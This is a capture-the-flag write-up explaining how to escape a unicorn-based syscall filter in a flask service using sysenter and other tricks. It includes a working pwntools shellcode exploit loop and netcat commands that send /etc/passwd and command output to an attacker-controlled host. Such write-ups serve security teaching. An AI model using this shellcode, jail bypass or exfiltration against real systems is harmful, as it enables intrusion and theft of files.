# Baby Sandbox___
In this challenge, we were given following input data:- source - tiny webservice written in ``python`` (3.6) + ``flask``.- bin - the ELF32 binary that was supposed to be handling the payload sent by us (eventually).
Within webservice's source file, we could find additional technology - ``unicorn``.It is CPU emulator that is supposed to emulate the actual jail that we had to escape from.The binary itself was ready to execute arbitrary code (256 bytes), unless blocked in jail.
It took me a while to solve the logic behind this chall due to indirect call to the binary - via ``nc``!
So in the high level view, the flow is like this:- ``flask`` layer serves couple of endpoints , including ``/`` and ``/exploit``    First is used to initiate required cookie session, while the latter is self descriptiven- we send base64 encoded payload on ``/exploit`` endpoint- Once there, payload is examined in ``unicorn``. Every 80h interrupt is filtered out - i.e. value of eax register is compared with the blacklisted syscall.- If the payload is not jailed by ``unicorn``, it is passed to the binary via ``netcat``.
___## The plan
It looks straightforward - we have to bypass the jail and execute arbitrary code to get a flag which is 'promised' to be set in the private/secret.txt file (see python source).
___## The approaches
There are multiple ways to achieve that:- do not use blacklisted syscalls- abuse logic- crash ``unicorn`` emulation- use blacklisted syscalls anyway - avoid ``int``
### sysenter
The jail can be bypassed by ``sysenter`` x86 instruction. No int 80h means no validation.
### int != 0x80
Within the ``hook_intr`` 'function', we can find this branch:
```def hook_intr(uc, intno, user_data):    if intno != 0x80:        uc.emu_stop()        return```
So if we would issue interrupt, say '3', we could stop the ``unicorn`` emulation and break the jail,as well as the ``bin`` process that awaits for our payload.However, the ``signal`` syscall is not blacklisted, therefore we could register signal handler on SIGSEGVand execute arbitrary code from the signal handler.
### brk() x2
Another way to bypass the jail logic is to break unicorn before interrupt validation.One possibility is to perform brk() syscall (twice) and read/write to the newly allocated memory location.
### forgotten execveat
``execveat`` syscall does not have even libc's caller and could be used here as well. This approach has not been tested however.
In any case, we can not retrieve the flag as a result of http request, because stdout of the ``bin`` hosting process is not tied with the webservice at any known interface. This implies, that we have to either spawn remote shell or send stdout of ``bin`` host process to the remote-end (attacker controlled-end).
Following exploit uses latter approach.
___## The exploit
Following exploit uses well known ``pwntools`` and other useful packages - see imports.The autogenerated x86 assembly uses execve() syscall and sysenter instruction in a inifite loop, simulating real shell.
The implicit prerequisite is the remote-end controlled by attacker to retrieve data from attacking endpoint.  For example, having controlled IP 1.2.3.4 and port 1337, the command that could be used to retrieve ``/etc/passwd`` file from the ``bin`` hosting process' OS, could look like this:
```nc 1.2.3.4 1337 < /etc/passwd```
stdout of any command could be retrieved as follows, i.e. ``ls`````ls -la | nc 1.2.3.4 1337```
```import sysfrom pwn import *from base64 import b64decode, b64encodeimport requestsimport json
payload_prologue="""    mov     ebp, esp    push 0x1010101    xor dword ptr [esp], 0x169722e    push 0x6e69622f    push 0x1010101    xor dword ptr [esp], 0x101622c"""
payload_epilogue="""    lea eax, [ebp-0x8]    lea ebx, [ebp-0xc]    mov ecx, esp    push 0    push ecx    push ebx    push eax
    push 0xdeadbeef    lea  eax, [esp+4]    mov  [esp], eax    mov  eax, 11    mov  ebx, [esp+4]    mov  ecx, [esp]    mov  edx, 0
    push ecx    push edx    push ebp    mov  ebp, esp    sysenter"""
URL = '178.128.100.75'URL1 = 'http://{}/'.format(URL)URL2 = 'http://{}/exploit'.format(URL)while True:    sys.stdout.write('$ ')    sys.stdout.flush()    payload_cmd = shellcraft.pushstr(raw_input())    payload = payload_prologue + payload_cmd + payload_epilogue    shellcode=asm(payload)    data = {"payload": "{}".format( b64encode(shellcode) )} log.info('payload: {}'.format(b64encode(shellcode)))    s = requests.session()    r1 = s.get(URL1)    r2 = s.post(URL2,data=json.dumps(data))```
___## This is the end
That's it. Oh really ? Nope. The promised flag is not in the ``private/secret.txt`` file.It was found in the ``/flag`` file instead.